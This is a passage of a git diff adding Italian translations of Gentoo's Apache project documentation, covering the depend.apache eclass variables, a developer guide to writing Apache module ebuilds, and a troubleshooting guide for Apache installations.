+    Percorso della directory dei file di configurazione. Questa variabile viene
+    impostata dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_MODULES_CONFDIR</c></dt>
+  <dd>
+    Percorso dove vengono collocati i file di configurazione dei moduli. Questa
+    variabile viene impostata dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_VHOSTS_CONFDIR</c></dt>
+  <dd>
+    Percorso dove vengono collocati i file di configurazione degli host
+    virtuali. Questa variabile viene impostata dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_MODULESDIR</c></dt>
+  <dd>
+    Percorso dove vengono installati i moduli. Questa variabile viene impostata
+    dalle funzioni want/need_apache.
+  </dd>
+  <dt><c>APACHE_DEPEND = "www-servers/apache"</c></dt>
+  <dd>Dipendenze per Apache</dd>
+  <dt><c>APACHE2_DEPEND = "=www-servers/apache-2*"</c></dt>
+  <dd>Dipendenze per Apache 2.x</dd>
+  <dt><c>APACHE2_2_DEPEND = "=www-servers/apache-2.2*"</c></dt>
+  <dd>Dipendenze per Apache 2.2.x</dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>MANTENITORI</title>
+<section>
+<body>
+
+<p>
+apache-devs@gentoo.org
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RIPORTARE BUGS</title>
+<section>
+<body>
+
+<p>
+Si prega di riportare eventuali bug tramite <uri
+link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FILE</title>
+<section>
+<body>
+
+<p>
+<c>/usr/portage/eclass/depend.apache.eclass</c>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>VEDERE ANCHE</title>
+<section>
+<body>
+
+<p>
+<c>ebuild (5)</c>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/developer.xml b/xml/htdocs/proj/it/apache/doc/developer.xml
new file mode 100644
index 00000000..55160cc4
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/developer.xml
@@ -0,0 +1,348 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/developer.xml,v 1.1 2008/04/16 18:42:17 scen Exp $ -->
+
+<guide link="/proj/it/apache/doc/developer.xml" lang="it">
+<title>Documentazione per Sviluppatori di Apache</title>
+
+<author title="Autore">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Redazione">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+<author title="Traduzione">
+  <mail link="zanetti.massimo@gmail.com">Massimo Zanetti</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questo documento fornisce dettagli sulle eclass disponibili per gli sviluppatori
+di pacchetti relativi al webserver Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.5</version>
+<date>2008-03-02</date>
+
+<chapter id="modulehowto">
+<title>Guida ai Moduli Apache</title>
+<section>
+<title>Panoramica</title>
+<body>
+
+<p>
+Questo capitolo guiderà uno sviluppatore attraverso la creazione di un'ebuild
+usando uno dei pacchetti maggiormente complessi,
+<c>www-apache/mod_ldap_userdir</c>, scelto come esempio. Tutti i moduli di
+Apache hanno bisogno di usare <uri
+link="apache-module.eclass.xml">apache-module.eclass</uri> per poter funzionare
+correttamente con i futuri cambiamenti del nucleo di apache.
+</p>
+
+</body>
+</section>
+<section>
+<title>Localizzazione Percorsi Apache</title>
+<body>
+
+<p>
+Allo scopo di avvicinarsi al tipo di installazione fatto da apache.org e altre
+distribuzioni, devono essere usati i seguenti percorsi come specificato in <uri
+link="depend.apache.eclass.xml">depend.apache.eclass</uri>:
+</p>
+
+<table>
+<tr>
+  <th>Utilizzo</th>
+  <th>Variabile</th>
+  <th>Percorso</th>
+</tr>
+<tr>
+  <ti>Server Root</ti>
+  <ti><c>APACHE_BASEDIR</c></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Directory della Configurazione</ti>
+  <ti><c>APACHE_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configurazione Vhosts</ti>
+  <ti><c>APACHE_VHOSTS_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Configurazione Moduli</ti>
+  <ti><c>APACHE_MODULES_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Binari dei Moduli</ti>
+  <ti><c>APACHE_MODULESDIR</c></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+<tr>
+  <ti>Directory File Include</ti>
+  <ti><c>APACHE_INCLUDEDIR</c></ti>
+  <ti><path>/usr/include/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Binario Apache</ti>
+  <ti><c>APACHE_BIN</c></ti>
+  <ti><path>/usr/sbin/apache2</path></ti>
+</tr>
+<tr>
+  <ti>Script Controllo Apache</ti>
+  <ti><c>APACHE_CTL</c></ti>
+  <ti><path>/usr/sbin/apache2ctl</path></ti>
+</tr>
+<tr>
+  <ti>Binario APXS</ti>
+  <ti><c>APXS</c></ti>
+  <ti><path>/usr/sbin/apxs2</path></ti>
+</tr>
+</table>
+
+<note>
+Se il proprio pacchetto non è precisamente un modulo, ma ha solo bisogno di
+conoscere i percorsi usati da Apache, eseguire <c>inherit depend.apache</c> ed
+usare le variabili rese disponibili nella eclass. A tale proposito vedere la
+documentazione relativa all'eclass <uri
+link="depend.apache.eclass.xml">depend.apache.eclass</uri> .
+</note>
+
+</body>
+</section>
+<section>
+<title>Panoramica sulle ebuild per i moduli di apache</title>
+<body>
+
+<ul>
+  <li>In genere tutte le funzioni possono essere rimosse dall'ebuild</li>
+  <li>
+    Controllare se la funzione <c>src_compile</c> predefinita nell'eclass
+    funziona. Altrimenti, impostare <c>APXS2_ARGS</c> per compilare altri file
+    come richiesto.
+  </li>
+  <li>
+    Sostituire qualsiasi occorrenza di <c>DEPEND</c> su Apache con una delle
+    funzioni <c>need_apache*</c> descritte nella documentazione di <uri
+    link="depend.apache.eclass.xml">depend.apache.eclass</uri>.
+  </li>
+  <li>
+    Modificare il file di configurazione del modulo affinché usi gli
+    <c>IfDefine</c> per caricare e configurare il modulo
+  </li>
+  <li>Aggiungere qualsiasi file di documentazione a <c>DOCFILES</c></li>
+  <li>
+    Specificare il file di configurazione che src_install deve installare:
+    <c>APACHE2_MOD_CONF</c>
+  </li>
+  <li>
+    Specificare la <c>IfDefine</c> che il modulo usa nel suo file di
+    configurazione così che pkg_postinst possa dare informazioni all'utente su
+    come abilitare il modulo: <c>APACHE2_MOD_DEFINE</c>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuild Globali</title>
+<body>
+
+<pre caption="mod_ldap_userdir-1.1.12 (modificato)">
+inherit apache-module
+
+
+DESCRIPTION="Modulo Apache che abilita ~/public_html from an LDAP directory."
+HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+LICENSE="GPL-1"
+SLOT="0"
+KEYWORDS="~ppc ~x86"
+IUSE="ssl"
+
+DEPEND="ssl? ( dev-libs/openssl )
+    net-nds/openldap"
+RDEPEND="${DEPEND}"
+
+DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
+
+APXS2_ARGS="-lldap -llber -c ${PN}.c"
+APACHE2_MOD_CONF="47_mod_ldap_userdir"
+APACHE2_MOD_DEFINE="LDAP_USERDIR"
+
+need_apache2_2
+</pre>
+
+<p>
+Si è partiti da <c>inherit apache-module</c> che a sua volta eredita
+<c>depend.apache</c>. <c>depend.apache</c> definisce le locazioni usate da
+Apache e, più importante, le tre <c>DEPEND</c>s: <c>APACHE2_2_DEPEND</c> per
+quei pacchetti che hanno bisogno di Apache-2.2*, <c>APACHE2_DEPEND</c> per
+quei pacchetti che hanno bisogno di Apache-2*, e <c>APACHE_DEPEND</c> per quelli
+che hanno bisogno di una qualsiasi delle due versioni di Apache.
+</p>
+
+<p>
+L'<c>apache-module</c> fa la parte più pesante per i pacchetti del modulo
+definendo impostazioni predefinite valide per <c>pkg_setup</c>,
+<c>src_compile</c>,<c>src_install</c> e <c>pkg_postinst</c>.
+</p>
+
+<p>
+<c>depend.apache</c> lavora aggiungendo il corretto Apache DEPEND al proprio
+DEPEND (se si chiama una delle funzioni <c>need_apache*</c>) così che si possa
+evitare la gestione del apache DEPEND nella propria ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> è usato da <c>src_install</c> in <c>apache-modules</c> per
+installare tutta la documentazione. <c>src_install</c> trova automaticamente i
+file html e altri e usa sia <c>dodoc</c> che <c>dohtml</c> per installarli al
+posto giusto.
+</p>
+
+<p>
+<c>APACHE2_MOD_CONF</c> definisce il file di configurazione da installare per il
+modulo. Questo è usato durante <c>src_install</c> e ha bisogno di essere
+relativo a <c>FILESDIR</c>. Vedere la documentazione di <uri
+link="apache-module.eclass.xml">apache-module.eclass</uri> per maggiori
+dettagli.
+</p>
+
+<p>
+<c>APACHE2_MOD_DEFINE</c> dice all'eclass quale <c>&lt;IfDefine
+MODULENAME&gt;</c> usa il modulo. Serve per mostrare all'utente le istruzioni su
+come abilitare il modulo.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> può servire se il modulo richiede speciali passi che l'eclass
+non può gestire. Questo è un caso raro. Nella maggioranza dei casi, riguardare
+il <path>Makefile</path> e aggiungere gli oggetti a <c>APXS2_ARGS</c> è
+sufficiente.
+</p>
+
+<pre caption="mod_ldap_userdir-1.1.12 (modificato)">
+src_compile() {
+    econf || die "econf failed"
+    use ssl &amp;&amp; APXS2_ARGS="${APXS2_ARGS} -DTLS=1"
+    apache-module_src_compile
+}
+</pre>
+
+<note>
+In generale se APXS2_ARGS deve essere diverso, è definito nello spazio globale.
+<path>mod_ldap_userdir</path> a questo riguardo è differente perché lo stato
+della flag USE di ssl influenza quelle variabili ed è più efficiente
+nell'impostare solamente quei valori in <c>src_compile</c> piuttosto che
+eseguire il controllo USE durante ogni chiamata dell'ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+Nella maggior parte dei casi, <c>src_install</c> non è necessario, eccetto
+quando ci sono altre directory che hanno bisogno di essere installate o quando
+i permessi sui file devono essere modificati.
+</p>
+
+<pre caption="mod_ldap_userdir-1.1.12 (modificato)">
+src_install() {
+    apache-module_src_install
+    fperms 600 "${APACHE_MODULES_CONFDIR}"/47_mod_ldap_userdir.conf
+}
+</pre>
+
+<p>
+Come si può notare, nel <path>mod_ldap_userdir</path> bisogna impostare i
+permessi corretti sui suoi file di configurazione. <c>apache-module</c> dà il
+meglio di sé chiamando <c>apache-module_src_install</c> all'interno del proprio
+<c>src_install</c>. Nella maggior parte dei casi <c>src_install</c> non è per
+nulla necessario.
+</p>
+
+<p>
+<c>src_install</c> gestisce correttamente e completamente l'installazione del
+modulo, dei file di configurazione e della documentazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Altre funzioni</title>
+<body>
+
+<p>
+Nella maggioranza dei casi, non ci dovrebbe essere nessun pkg_postinst o
+pkg_config, visto che l'eclass gestisce direttamente l'invio delle istruzioni
+relative all'abilitazione di un modulo e la posizione del file di configurazione
+dell'utente. Se ci fosse bisogno di istruzioni aggiuntive per la configurazione,
+allora si può aggiungere <c>pkg_postinst</c>, ma si deve ugualmente far andare
+<c>apache-module_pkg_postinst</c> al suo interno.
+</p>
+
+<p>
+Con la nuova configurazione predefinita, gli utenti non hanno bisogno di
+modificare <path>httpd.conf</path> per abilitare un modulo. Tutti i file
+<path>*.conf</path> nella directory <path>modules.d</path> sono automaticamente
+inclusi. Tutti i file dovrebbero essere inglobati in un blocco <c>&lt;IfDefine
+MODULENAME&gt;</c>, in modo che le direttive in quel file siano usate solo se
+l'utente aggiunge un <c>"-D MODULENAME"</c> al suo file
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>File di configurazione</title>
+<body>
+
+<p>
+La maggior parte dei file di configurazione non deve essere modificata. Bisogna
+fare estrema attenzione nell'usare il percorso corretto quando si carica il
+modulo:
+
+Ogni file di configurazione dev'essere racchiuso nei blocchi <c>&lt;IfDefine
+MODULENAME&gt;</c>. Se questo non viene fatto, allora Apache carica il modulo
+predefinito, cosa che si vuole evitare. Il caricamento del modulo deve essere
+controllato dall'utente usando il file <path>/etc/conf.d/apache2</path>.
+</p>
+
+<pre caption="file di configurazione d'esempio">
+&lt;IfDefine LDAP_USERDIR&gt;
+LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+
+<comment># Inserire qui una buona configurazione predefinita:</comment>
+LDAPUserDir             public_html
+LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfDefine&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/troubleshooting.xml b/xml/htdocs/proj/it/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..e5c12e46
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/troubleshooting.xml
@@ -0,0 +1,470 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/troubleshooting.xml,v 1.1 2008/03/25 20:01:32 scen Exp $ -->
+
+<guide link="/proj/it/apache/doc/troubleshooting.xml" lang="it">
+<title>Risoluzione dei problemi in Apache</title>
+
+<author title="Autore">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Collaboratore">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Collaboratore">
+   <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+ </author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questo documento tratta in modo esauriente diversi metodi per capire come
+riparare un'installazione di Apache che non funziona in modo corretto.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Controllare i log</title>
+<section>
+<body>
+
+<p>
+Se Apache non funziona in modo corretto, ma non si ha idea di come individuare
+la causa del problema, il primo indizio potrebbe trovarsi nei file di log.
+</p>
+
+<p>
+Nel sistema si troverà un certo numero di log, tutti collocati in
+<path>/var/log/apache2/</path>. E' probabile che non si riscontreranno nel
+proprio sistema tutti i file di log elencati di seguito: la loro presenza
+dipende dai moduli che sono stati abilitati.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>access_log e ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+Questo file è un semplice elenco di tutti i file richiesti al server. A meno
+che non sia stata variata la configurazione predefinita, esso sarà nel formato
+CLF (Common Log Format):
+</p>
+
+<pre caption="Sintassi Common Log Format">
+remotehost rfc931 authuser [date] "request" status bytes
+</pre>
+
+<table>
+<tr>
+  <ti>remotehost</ti>
+  <ti>Nome host remoto o indirizzo IP.</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>Il nome di login remoto dell'utente.</ti>
+</tr>
+<tr>
+  <ti>authuser</ti>
+  <ti>Il nome utente con il quale l'utente si è autenticato.</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Data e ora della richiesta..</ti>
+</tr>
+<tr>
+  <ti>"request"</ti>
+  <ti>La riga di richiesta esattamente come è arrivata dal client.</ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Il codice di stato HTTP rispedito al client.</ti>
+</tr>
+<tr>
+  <ti>bytes</ti>
+  <ti>La lunghezza del contenuto del documento trasferito.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>error_log e ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+Come si può vedere, questo file contiene molte informazioni, la cui quantità
+dipende dalla direttiva <c>ErrorLevel</c> contenuta nel file
+<path>httpd.conf</path>. Questo log dice se apache si è avviato correttamente,
+in quali errori è incorso, ... Generalmente viene elencata ogni situazione di
+errore. Se qualcosa non funziona correttamente, dovrebbe essere il primo file da
+controllare per ulteriori informazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+In questo file viene inserita una voce di log ogni qualvolta uno script viene
+eseguito tramite CGI o suexec. Se non si riesce a far funzionare degli script
+tramite suexec, questo è il log da controllare poiché le righe ivi contenute
+il più delle volte elencheranno i motivi della loro mancata esecuzione.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ho installato un modulo, ma non funziona!!!</title>
+<section>
+<body>
+
+<p>
+La sola installazione del modulo non basta, bisogna attivarlo esplicitamente. Si
+usa questa modalità per rendere più facile l'attivazione e la disattivazione dei
+singoli moduli, a sua volta si semplifica l'individuazione di quelli che creano
+problemi, permettendo di testarli e disabilitarli facilmente.
+</p>
+
+<p>
+Quando si installa un modulo, dovrebbe venire visualizzato un messaggio simile a
+questo:
+</p>
+
+<pre caption="Messaggio post-installazione da emerge">
+ *
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ *
+ *
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ *
+</pre>
+
+<p>
+Il messaggio è piuttosto chiaro. Dice esattamente cosa fare per abilitare questo
+modulo.
+</p>
+
+<p>
+Se questo messaggio è andato perso, c'è un altro modo per scoprire cosa
+aggiungere a <c>APACHE2_OPTS</c> in <path>/etc/conf.d/apache2</path>: bisogna
+semplicemente controllare il file di configurazione installato dal modulo. Il
+file di configurazione del modulo dovrebbe trovarsi in
+<path>/etc/apache2/modules.d/</path>. Aprirlo e cercare una linea contenente la
+voce <c>IfDefine</c>:
+</p>
+
+<pre caption="Un estratto da 15_mod_layout.conf">
+&lt;IfDefine LAYOUT&gt;
+  &lt;IfModule !mod_layout.c&gt;
+    LoadModule layout_module    modules/mod_layout.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+</pre>
+
+<p>
+Il blocco <c>IfDefine</c> viene eseguito dopo aver aggiunto <c>-D LAYOUT</c> a
+<path>/etc/conf.d/apache2</path>. <c>LAYOUT</c> è solamente un esempio.
+</p>
+
+<p>
+Ci sono diverse opzioni, specificate nella configurazione predefinita e spiegate
+in modo dettagliato in <path>/etc/conf.d/apache2</path>, che si possono
+aggiungere ad <c>APACHE2_OPTS</c>.
+</p>
+
+<p>
+È possibile trovate tutta la documentazione per i moduli incorporati nella
+<uri link="http://httpd.apache.org/docs/2.0/">Documentazione di Apache
+2.0</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Apache restituisce pagine di lunghezza nulla o va in segfault</title>
+<section>
+<body>
+
+<p>
+Questo succede il più delle volte dopo un aggiornamento che guasta la
+compatibilità binaria nel pacchetto APR (e ciò può avvenire per vari motivi).
+Per correggere il problema, si deve ricompilare il tool stack di Apache:
+</p>
+
+<pre caption="Ricompilare il tool stack">
+<comment>(assicurarsi di eseguire le operazioni in quest'ordine, è molto importante!)</comment>
+
+<comment>(per prima cosa, si deve rimuovere la versione correntemente installata di apache)</comment>
+# <i>emerge -aCv '=www-servers/apache-2*'</i>
+
+<comment>(poi bisogna ricompilare il tool stack)</comment>
+# <i>emerge -av '=dev-libs/apr-0*' '=dev-libs/apr-util-0*'</i>
+
+<comment>(Quindi si reinstalla apache)</comment>
+# <i>emerge -av '=www-servers/apache-2*'</i>
+
+<comment>(si controllano i pacchetti dipendenti da apache)</comment>
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(infine si ricompilano gli eventuali moduli installati)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2'
+'=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Determinare se un modulo aggiuntivo è bacato</title>
+<body>
+
+<p>
+Se si continua ad avere problemi anche dopo aver seguito le istruzioni
+precedenti, il colpevole è molto probabilmente uno dei moduli aggiuntivi
+installati.
+</p>
+
+<p>
+Come prima cosa disabilitare tutti i moduli aggiuntivi, quindi riavviare Apache.
+</p>
+
+<pre caption="Disabilitare i moduli aggiuntivi">
+<comment>(modificare /etc/conf.d/apache2)</comment>
+
+<comment>(prima della modifica)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(dopo la modifica)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Riavviare Apache">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(assicurarsi che apache sia completamente arrestato)</comment>
+# <i>ps -A</i>
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+Potrebbe essere necessario apportare delle piccole modifiche in qualche parte
+della propria configurazione se sono state aggiunte <c>Directive</c> fornite da
+questi moduli in posizioni che non si accertano se i moduli sono caricati. E'
+raccomandabile che le <c>Directive</c> come queste vengano posizionate in
+contenitori di test. Guardare uno qualsiasi dei file .conf in
+<path>/etc/apache2/modules.d</path> come esempio.
+</note>
+
+<p>
+Se Apache smette di andare in segfault e restituire pagine vuote, allora si avrà
+la certezza che la causa è uno dei moduli aggiuntivi. Per scoprire quale, basta
+attivarne uno alla volta, riavviando completamente apache ogni volta.
+</p>
+
+<p>
+Quando Apache smetterà di funzionare dopo aver aggiunto un modulo, si saprà che
+quel modulo è quello che crea problemi. Di solito, la sua ricompilazione
+risolverà il problema.
+</p>
+
+<p>
+Se dopo la ricompilazione del modulo e il riavvio di apache, esso va in
+segfault o restituisce pagine vuote, è consigliabile <uri
+link="http://bugs.gentoo.org">aprire un bug report</uri> elencando la versione
+specifica e la revisione del modulo, menzionando che va in segfault. Assicurarsi
+prima, però, di cercare bug già aperti a riguardo!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Il server Web non interpreta gli script PHP o CGI, restituendo invece il
+loro codice</title>
+<section>
+<body>
+
+<p>
+Certe volte Apache sembra restituire il codice degli script PHP o CGI, invece
+di eseguirli e restituire il loro output. Se ciò succede anche con il modulo
+abilitato in <path>/etc/conf.d/apache2</path> il problema può essere dovuto
+alla cache del browser, che andrà svuotata per risolvere questo inconveniente.
+</p>
+
+<p>
+Questo problema qualche volta può anche essere notato solo quando si accede al
+server web usando il suo nome DNS ma non accedendoci usando il suo indirizzo IP.
+È un chiaro segnale che il problema è relativo alla cache.
+</p>
+
+<p>
+Il problema può essere corretto pulendo la cache del browser web e di ogni
+eventuale proxy web, come squid o wwwoffle.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the
+build</title>
+<section>
+<body>
+
+<p>
+Se si ottiene questo errore, probabilmente è stato inserito qualche spazio di
+troppo nella variabile <c>CFLAGS</c> in <path>/etc/make.conf</path>. La
+correzione è semplice, basta rimuovere gli spazi in più:
+</p>
+
+<pre caption="Esempio di modifica a /etc/make.conf">
+<comment>(prima della modifica)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(dopo la modifica. notare la rimozione dello spazio)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address
+0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+Questo errore si presenta durante la fase di avvio ed è causata dalla presenza
+di direttive <c>Listen</c> multiple nella propria configurazione incompatibili
+tra di loro. Per risolvere questo problema, bisogna individuare, nel file di
+configurazione, le occorrenze di <c>Listen</c> e correggerle una ad una.
+</p>
+
+<pre caption="Trovare tutte le direttive Listen">
+<comment>(Assicurarsi di essere nella directory di configurazione)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(Elencare tutte le direttive)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+Bisogna individuare quali di queste creano dei conflitti all'interno di Apache.
+Per esempio, se c'è un <c>Listen 80</c> in <path>httpd.conf</path> e c'è un
+<c>Listen 10.0.0.15:80</c> in un altro file, Apache non riuscirà ad avviarsi.
+Questo perché Apache prima si associa alla porta 80 su tutti gli indirizzi IP
+della macchina, poi tenta di associarsi alla porta 80 dell'indirizzo IP
+10.0.0.15 e fallisce, poiché la porta è già in uso.
+</p>
+
+<p>
+Nella configurazione raccomandata deve esserci un singola direttiva <c>Listen
+80</c> (e si trova in modo predefinito in <path>httpd.conf</path>, così da
+legare apache alla porta standard HTTP su tutti gli indirizzi, poi per ogni
+<c>VirtualHost</c> SSL si avvierò una direttiva <c>Listen</c> assoluta separata
+(per esempio <c>Listen 10.0.0.15:443</c>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>dopo l'aggiornamento ad apache-2.0.54-r13 il vhost predefinito (SSL
+and non-SSL) non funziona più</title>
+<section>
+<body>
+
+<p>
+Con l'aggiornamento ad apache-2.0.54-r13, gli sono state aggiunte due nuove
+direttive per correggere il <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=100624">bug 100624</uri>.
+</p>
+
+<p>
+Le nuove direttive sono <c>-D DEFAULT_VHOST</c> per attivare l'host virtuale
+predefinito e <c>-D SSL_DEFAULT_VHOST</c> per attivare l'host virtuale SSL.
+Entrambe devono essere aggiunte alla variabile <c>APACHE2_OPTS</c> in
+<path>/etc/conf.d/apache2</path> per permettere ad Apache di funzionare come
+prima.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>Ottenere un aiuto</title>
+<section>
+<body>
+
+<p>
+Se nessuno dei precedenti consigli è servito, o se si hanno altre domande da
+porre, entrare nel canale IRC degli sviluppatori Apache di Gentoo,
+<path>#gentoo-apache</path> su <path>irc.freenode.net</path>. Oppure aprire un
+bug report sul <uri link="http://bugs.gentoo.org">Bugzilla di Gentoo</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/apache/doc/upgrading.xml b/xml/htdocs/proj/it/apache/doc/upgrading.xml
new file mode 100644
index 00000000..2ef8b549
--- /dev/null
+++ b/xml/htdocs/proj/it/apache/doc/upgrading.xml
@@ -0,0 +1,816 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
